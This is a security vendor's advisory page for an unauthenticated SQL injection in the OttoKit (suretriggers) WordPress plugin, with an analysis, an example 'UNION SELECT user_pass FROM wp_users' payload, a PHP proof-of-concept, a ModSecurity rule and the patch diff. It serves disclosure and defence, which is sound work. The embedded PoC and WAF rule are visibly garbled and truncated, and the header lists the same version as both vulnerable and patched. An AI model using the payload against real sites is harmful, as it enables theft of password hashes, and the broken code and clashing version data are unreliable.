Published : May 16, 2026

CVE-2026-4935: OttoKit: All-in-One Automation Platform < 1.1.23 – Unauthenticated SQL Injection (suretriggers)

CVE ID CVE-2026-4935
Plugin suretriggers
Severity High (CVSS 7.5)
CWE 89
Vulnerable Version 1.1.23
Patched Version 1.1.23
Disclosed May 10, 2026

Analysis Overview

“`json
{
“analysis”: “Atomic Edge analysis of CVE-2026-4935:nThis is an unauthenticated SQL injection vulnerability in the OttoKit: All-in-One Automation Platform plugin for WordPress, versions up to 1.1.23. The vulnerability exists in the wp-polls integration component. It allows unauthenticated attackers to execute arbitrary SQL queries and extract sensitive information. The CVSS score is 7.5 (High).nnRoot cause:nThe vulnerability exists in `suretriggers/src/Integrations/wp-polls/wp-polls.php`. The `$selected_answers_ids` parameter is used directly in a SQL query without sanitization. The data originates from user-supplied input within the polling functionality. The plugin passes this unsanitized value to `$wpdb->get_row()`, enabling SQL injection through the comma-separated IDs parameter.nnExploitation:nAn unauthenticated attacker can send a crafted HTTP request to the WordPress poll-related endpoint. The attack targets the `selected_answers_ids` parameter. An attacker can inject SQL payloads such as `UNION SELECT` statements after the expected numeric IDs. For example, a payload like `1,2,3 UNION SELECT user_pass FROM wp_users — -` would extract password hashes. The endpoint is accessible without authentication, making exploitation straightforward.nnPatch analysis:nThe patch adds a single line at line 54 of `wp-polls.php`: `$selected_answers_ids = implode(‘,’, array_map(‘intval’, explode(‘,’, $selected_answers_ids)));`. This splits the comma-separated string into an array, casts each element to an integer using `intval()`, and rejoins them with commas. This ensures only numeric values reach the SQL query, completely eliminating injection vectors.nnImpact:nSuccessful exploitation allows an attacker to read arbitrary data from the WordPress database. This includes password hashes, user emails, private post content, and configuration secrets. An attacker could extract the admin password hash for offline cracking, leading to full site compromise. The unauthenticated nature makes this a critical risk for any site running the vulnerable plugin version.”,
“poc_php”: “<?phpn// Atomic Edge CVE Research – Proof of Conceptn// CVE-2026-4935 – OttoKit: All-in-One Automation Platform ‘wp_polls’, // Example AJAX action – adjust based on actual endpointn ‘poll_id’ => ‘1’,n ‘selected_answers_ids’ => $payloadn);nn$ch = curl_init();ncurl_setopt($ch, CURLOPT_URL, $target_url);ncurl_setopt($ch, CURLOPT_POST, 1);ncurl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_data));ncurl_setopt($ch, CURLOPT_RETURNTRANSFER, true);ncurl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);ncurl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);nn$response = curl_exec($ch);n$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);nnif ($http_code == 200 && !empty($response)) {n echo “Target is vulnerable. Response:\n”;n print_r($response);n} else {n echo “Target may not be vulnerable or payload needs adjustment. HTTP Code: ” . $http_code . “\n”;n}nncurl_close($ch);n?>”,
modsecurity_rule”: “# Atomic Edge WAF Rule – CVE-2026-4935n# Blocks SQL injection attempts targeting the selected_answers_ids parameter in OttoKit pollsnSecRule REQUEST_URI “@contains /wp-admin/admin-ajax.php” \n “id:20261994,phase:2,deny,status:403,chain,msg:’CVE-2026-4935 SQL Injection via OttoKit polls’,severity:’CRITICAL’,tag:’CVE-2026-4935′”n SecRule ARGS_POST:action “@streq wp_polls” “chain”n SecRule ARGS_POST:selected_answers_ids “@rx (?i)(bUNIONb|bSELECTb|bINSERTb|bDELETEb|bUPDATEb|bDROPb|bSLEEPb|bWAITFORb|’s*ORs*’|bINTOs+OUTFILEb|bINTOs+DUMPFILEb)” \n “t:urlDecode,t:lowercase

}
“`

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/suretriggers/src/Integrations/late-point/late-point.php
+++ b/suretriggers/src/Integrations/late-point/late-point.php
@@ -253,6 +253,7 @@
 			do_action( 'latepoint_order_created', $order );
 		}
 		$return_data                    = $booking->get_data_vars();
+		$return_data['service_id']      = ! empty( $booking->service_id ) ? $booking->service_id : ( ! empty( $booking_params['service_id'] ) ? $booking_params['service_id'] : null );
 		$return_data['order']           = $order->get_data_vars();
 		$return_data['total_attendees'] = $selected_options['total_attendees'];
 		return $return_data;
--- a/suretriggers/src/Integrations/wp-polls/wp-polls.php
+++ b/suretriggers/src/Integrations/wp-polls/wp-polls.php
@@ -51,6 +51,9 @@
 		$context            = [];
 		$context['poll_id'] = $poll_id;

+		// Sanitize answer IDs — cast each to integer to prevent SQL injection.
+		$selected_answers_ids = implode( ',', array_map( 'intval', explode( ',', $selected_answers_ids ) ) );
+
 		global $wpdb;
 		$poll_data = $wpdb->get_row(
         // phpcs:disable
--- a/suretriggers/src/Loader.php
+++ b/suretriggers/src/Loader.php
@@ -326,8 +326,8 @@
 		define( 'SURE_TRIGGERS_BASE', plugin_basename( SURE_TRIGGERS_FILE ) );
 		define( 'SURE_TRIGGERS_DIR', plugin_dir_path( SURE_TRIGGERS_FILE ) );
 		define( 'SURE_TRIGGERS_URL', plugins_url( '/', SURE_TRIGGERS_FILE ) );
-		define( 'SURE_TRIGGERS_VER', '1.1.22' );
-		define( 'SURE_TRIGGERS_DB_VER', '1.1.22' );
+		define( 'SURE_TRIGGERS_VER', '1.1.23' );
+		define( 'SURE_TRIGGERS_DB_VER', '1.1.23' );
 		define( 'SURE_TRIGGERS_REST_NAMESPACE', 'sure-triggers/v1' );
 		define( 'SURE_TRIGGERS_SASS_URL', $sass_url . '/wp-json/wp-plugs/v1/' );
 		define( 'SURE_TRIGGERS_SITE_URL', $sass_url );
--- a/suretriggers/suretriggers.php
+++ b/suretriggers/suretriggers.php
@@ -9,7 +9,7 @@
  * Domain Path:         /languages
  * License:             GPLv3
  * License URI:         https://www.gnu.org/licenses/gpl-3.0.html
- * Version:             1.1.22
+ * Version:             1.1.23
  * Requires at least:   5.4
  * Requires PHP:        5.6
  *

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School